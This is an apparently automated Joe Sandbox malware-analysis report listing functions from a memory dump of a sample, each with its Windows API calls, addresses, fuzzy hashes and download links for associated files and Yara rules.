Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: b6fb3be686db9560cebaaf0647cb8181bec4bcbc60710dc94c5b894004de9886
Instruction ID: ea71935315e06a2e11f7875215411447b8410f90a4626438244079a5d9a3f5df
Opcode Fuzzy Hash: b6fb3be686db9560cebaaf0647cb8181bec4bcbc60710dc94c5b894004de9886
Instruction Fuzzy Hash: E641A370109301EFE721DF65CC84FBA7BB8EF55321F144669FAA4871A1C7319849DB61

Function 009B07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 009B080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 009B0847
EnterCriticalSection.KERNEL32(?), ref: 009B0863
LeaveCriticalSection.KERNEL32(?), ref: 009B08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 009B08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 009B0921

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 7de75f8f257d335793a5d8e827faf2da088a36fd203089d600738d58ee04d505
Instruction ID: 155b37d36c597813e1d7a10250bfade4958fee3e72ca2888a9d12eb42f0b0163
Opcode Fuzzy Hash: 7de75f8f257d335793a5d8e827faf2da088a36fd203089d600738d58ee04d505
Instruction Fuzzy Hash: 21416971900205EFDF14EF54DC85AAA77B8FF84320F1440A5ED04AA297DB31DE65DBA0

Function 009D81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0099F3AB,00000000,?,?,00000000,?,0099682C,00000004,00000000,00000000), ref: 009D824C
EnableWindow.USER32(?,00000000), ref: 009D8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 009D82D1
ShowWindow.USER32(?,00000004), ref: 009D82E5
EnableWindow.USER32(?,00000001), ref: 009D830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 009D832F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 199c587314361ac42c1d48c48caacebf64573a423262aee2cfb08a0348f05b4e
Instruction ID: 1a3d83288db7231f122ed3c0320bda40c787da7ed48293555b56da4f664b5eb1
Opcode Fuzzy Hash: 199c587314361ac42c1d48c48caacebf64573a423262aee2cfb08a0348f05b4e
Instruction Fuzzy Hash: 7B41D534641641AFDB11CF65CC99BE57BF4FB0A754F1882AAE6284B363CB31A842CB40

Function 009A4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 009A4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 009A4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 009A4CEA
_wcslen.LIBCMT ref: 009A4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 009A4D10
_wcsstr.LIBVCRUNTIME ref: 009A4D1A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 97d2b7945bcf8e3e13f3c621528f6feacb80b0bd4ee55bd231726410cf642eb5
Instruction ID: 3936ec47491f13846a7640208bd02adca08f799177720b0f079f1d678ec104af
Opcode Fuzzy Hash: 97d2b7945bcf8e3e13f3c621528f6feacb80b0bd4ee55bd231726410cf642eb5
Instruction Fuzzy Hash: 7621F9726052017BEB159B399C4AE7B7BACDFC6760F10403AF809CA191DEA5DC40D7E0

Function 009B581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00943AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00943A97,?,?,00942E7F,?,?,?,00000000), ref: 00943AC2

_wcslen.LIBCMT ref: 009B587B
CoInitialize.OLE32(00000000), ref: 009B5995
CoCreateInstance.OLE32(009DFCF8,00000000,00000001,009DFB68,?), ref: 009B59AE
CoUninitialize.OLE32 ref: 009B59CC

Strings

.lnk, xrefs: 009B5876, 009B58C1, 009B5985

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 93d7dab42d3944c01f5be1522ce329656eb1341f22e55d95733055bde4258fe6
Instruction ID: 44632d50214d689f0dfdc3c4bb17e7e8eed9fe2176582f12d7684dfb76edb760
Opcode Fuzzy Hash: 93d7dab42d3944c01f5be1522ce329656eb1341f22e55d95733055bde4258fe6
Instruction Fuzzy Hash: C1D18271A087119FC704DF24C580A6ABBE5FF89724F11885DF88A9B361DB32EC45CB92

Function 009A175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 009A0FCA
Part of subcall function 009A0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 009A0FD6
Part of subcall function 009A0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 009A0FE5
Part of subcall function 009A0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 009A0FEC
Part of subcall function 009A0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 009A1002

GetLengthSid.ADVAPI32(?,00000000,009A1335), ref: 009A17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 009A17BA
HeapAlloc.KERNEL32(00000000), ref: 009A17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 009A17DA
GetProcessHeap.KERNEL32(00000000,00000000,009A1335), ref: 009A17EE
HeapFree.KERNEL32(00000000), ref: 009A17F5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 570c0ed33d1b113a80465dfb36af273f7ce1c421451a17b450b45c49f392920f
Instruction ID: de102773c85c18339bd6b40b2ecfc135628f8f30abb306fff7be7f4a53cc36f8
Opcode Fuzzy Hash: 570c0ed33d1b113a80465dfb36af273f7ce1c421451a17b450b45c49f392920f
Instruction Fuzzy Hash: 8111BE75559216FFDB109FA4CC49FAE7BADEB42359F104019F481A7290C735A980DBA0

Function 009A14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 009A14FF
OpenProcessToken.ADVAPI32(00000000), ref: 009A1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 009A1515
CloseHandle.KERNEL32(00000004), ref: 009A1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 009A154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 009A1563

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 943a04af3fd855222f0fb9ecb242f1bb794b8e2b75c37b308babbbcbc4183590
Instruction ID: bdd2dd2ecb8674c1c64e6a9b14032a728a40919aeef2667802fc0ec3c02d9dc8
Opcode Fuzzy Hash: 943a04af3fd855222f0fb9ecb242f1bb794b8e2b75c37b308babbbcbc4183590
Instruction Fuzzy Hash: 19113DB264520EABDF118F98DD49FDE7BADEF49748F044115FA05A2060C375CE60EB60

Function 00963382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00963379,00962FE5), ref: 00963390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0096339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009633B7
SetLastError.KERNEL32(00000000,?,00963379,00962FE5), ref: 00963409

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c42e32f54a2f2b40367aa1c1de0539c42412f11a28bab853733d1bbbf5add253
Instruction ID: 590a90e877ffb9bd11ca409d0f16b64353d2645e19ef05286358456455c35d7b
Opcode Fuzzy Hash: c42e32f54a2f2b40367aa1c1de0539c42412f11a28bab853733d1bbbf5add253
Instruction Fuzzy Hash: 2001F23360D712BEEA252BF4BC86A676B98EB457B9760832AF510812F0FF114E139544

Function 00972D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00975686,00983CD6,?,00000000,?,00975B6A,?,?,?,?,?,0096E6D1,?,00A08A48), ref: 00972D78
_free.LIBCMT ref: 00972DAB
_free.LIBCMT ref: 00972DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0096E6D1,?,00A08A48,00000010,00944F4A,?,?,00000000,00983CD6), ref: 00972DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0096E6D1,?,00A08A48,00000010,00944F4A,?,?,00000000,00983CD6), ref: 00972DEC
_abort.LIBCMT ref: 00972DF2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 7d23cd2de1372d713f9bcebd6e57d1a93e017219641d4b5967a6228348dfccdb
Instruction ID: 9143c713c34111d251b3d53cbb883cfeca86d8c5a4f47a90c8ba84c32216757d
Opcode Fuzzy Hash: 7d23cd2de1372d713f9bcebd6e57d1a93e017219641d4b5967a6228348dfccdb
Instruction Fuzzy Hash: ECF0283796960177C6322778BC06F5A276DAFC27B0F25C619F82C961D2EF2488825120

Function 009D8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00959639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00959693
Part of subcall function 00959639: SelectObject.GDI32(?,00000000), ref: 009596A2
Part of subcall function 00959639: BeginPath.GDI32(?), ref: 009596B9
Part of subcall function 00959639: SelectObject.GDI32(?,00000000), ref: 009596E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 009D8A4E
LineTo.GDI32(?,00000003,00000000), ref: 009D8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 009D8A70
LineTo.GDI32(?,00000000,00000003), ref: 009D8A80
EndPath.GDI32(?), ref: 009D8A90
StrokePath.GDI32(?), ref: 009D8AA0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 125daebfc9a44b445adc5bdabf7b83dc8bebbfb6a02e14b2485aeca9bc99ce7e
Instruction ID: c345e0540a3996b03e3d249caabd57b535e56255763ede94e58eea246d2013e4
Opcode Fuzzy Hash: 125daebfc9a44b445adc5bdabf7b83dc8bebbfb6a02e14b2485aeca9bc99ce7e
Instruction Fuzzy Hash: 4111097604514DFFEF129F90DC88EAA7F6CEB08350F00C012FA199A1A1C7719D95EBA0

Function 009A51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 009A5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 009A5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 009A5230
ReleaseDC.USER32(00000000,00000000), ref: 009A5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 009A524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 009A5261

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: c9c715701f38d1ec7b97175f3a360b47c549b1794621502c2935d9dc651e5674
Instruction ID: f07ef8ffd579bd9f07d38d79deb427c1edafb0724156ce797ee75e2d0bf6c7ec
Opcode Fuzzy Hash: c9c715701f38d1ec7b97175f3a360b47c549b1794621502c2935d9dc651e5674
Instruction Fuzzy Hash: E7018FB5A45719BBEF109BE59C49B4EBFB8EF48351F044066FA04A7280D6709800DBA0

Function 00941BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00941BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00941BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00941C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00941C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00941C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00941C22

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 36c8900d2f306aa97e72e450b11bd943a63426f5f40ef8c4fdf00138e5059b08
Instruction ID: dec43ec43034c8b61838035907ea1b9ae88cd125b283d86f2386ef4d27acee30
Opcode Fuzzy Hash: 36c8900d2f306aa97e72e450b11bd943a63426f5f40ef8c4fdf00138e5059b08
Instruction Fuzzy Hash: 8D016CB094275A7DE3008F5A8C85B52FFA8FF19354F00411B915C47941C7F5A864CBE5

Function 009AEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 009AEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 009AEB46
GetWindowThreadProcessId.USER32(?,?), ref: 009AEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009AEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009AEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 009AEB75

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 392f20c861ceb365f8a8bc801bc3f059934589468a3510a89a47ed78a0c517f2
Instruction ID: 36e26da03d2a14ec46e05fbff991219675edfc3090b1e3fc24e7cc2effd599b8
Opcode Fuzzy Hash: 392f20c861ceb365f8a8bc801bc3f059934589468a3510a89a47ed78a0c517f2
Instruction Fuzzy Hash: 10F0B4B219612ABBEB205B529C0DEEF7F7CEFCBB11F00015AF601D1090D7A05A41D6B4

Function 00997439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00997452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00997469
GetWindowDC.USER32(?), ref: 00997475
GetPixel.GDI32(00000000,?,?), ref: 00997484
ReleaseDC.USER32(?,00000000), ref: 00997496
GetSysColor.USER32(00000005), ref: 009974B0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 7ad74593071a6d1201ea558d5fdacf832962446aaefbd60364f4fc5cca01d760
Instruction ID: 8ab0523e97b6d28d9c7d956225a49ccab11d376be0a901fa9386d0f5755504ac
Opcode Fuzzy Hash: 7ad74593071a6d1201ea558d5fdacf832962446aaefbd60364f4fc5cca01d760
Instruction Fuzzy Hash: 36017871469216FFEB509FA4DC08BAABBB6FB04311F540161FA16A21A1CF311E81EB10

Function 009A1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 009A187F
UnloadUserProfile.USERENV(?,?), ref: 009A188B
CloseHandle.KERNEL32(?), ref: 009A1894
CloseHandle.KERNEL32(?), ref: 009A189C
GetProcessHeap.KERNEL32(00000000,?), ref: 009A18A5
HeapFree.KERNEL32(00000000), ref: 009A18AC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d905fdb7e460820356dad6e75475d6669f99c52ae4757f5c9e0d441cfdcdcaee
Instruction ID: 9702508d62021e8cc4bafb50161e4eb9359d6b0c942ee7d224594b5ee2c0cebf
Opcode Fuzzy Hash: d905fdb7e460820356dad6e75475d6669f99c52ae4757f5c9e0d441cfdcdcaee
Instruction Fuzzy Hash: D1E0EDB609D112FBDB016FA1ED0C905FF39FF497627108222F225810B0CB3254A0EF50

Function 009AC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00947620: _wcslen.LIBCMT ref: 00947625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 009AC6EE
_wcslen.LIBCMT ref: 009AC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 009AC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 009AC7CA

Strings

0, xrefs: 009AC6AF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: c28e0b5e908664f78f6f38abc9e50c6869d5542c5592fbf642824535ad28c656
Instruction ID: 9fe1357a0db60b11c5e7b735980834da97ee670b17b7d6cd0504f5cd15e094de
Opcode Fuzzy Hash: c28e0b5e908664f78f6f38abc9e50c6869d5542c5592fbf642824535ad28c656
Instruction Fuzzy Hash: F451B0B16083019BD715DF28C885BAB77E8EF8A314F040A29F995EB291DB64D944CFD2

Function 009CAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 009CAEA3

Part of subcall function 00947620: _wcslen.LIBCMT ref: 00947625

GetProcessId.KERNEL32(00000000), ref: 009CAF38
CloseHandle.KERNEL32(00000000), ref: 009CAF67

Strings

<, xrefs: 009CAE6B
@, xrefs: 009CAE72

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
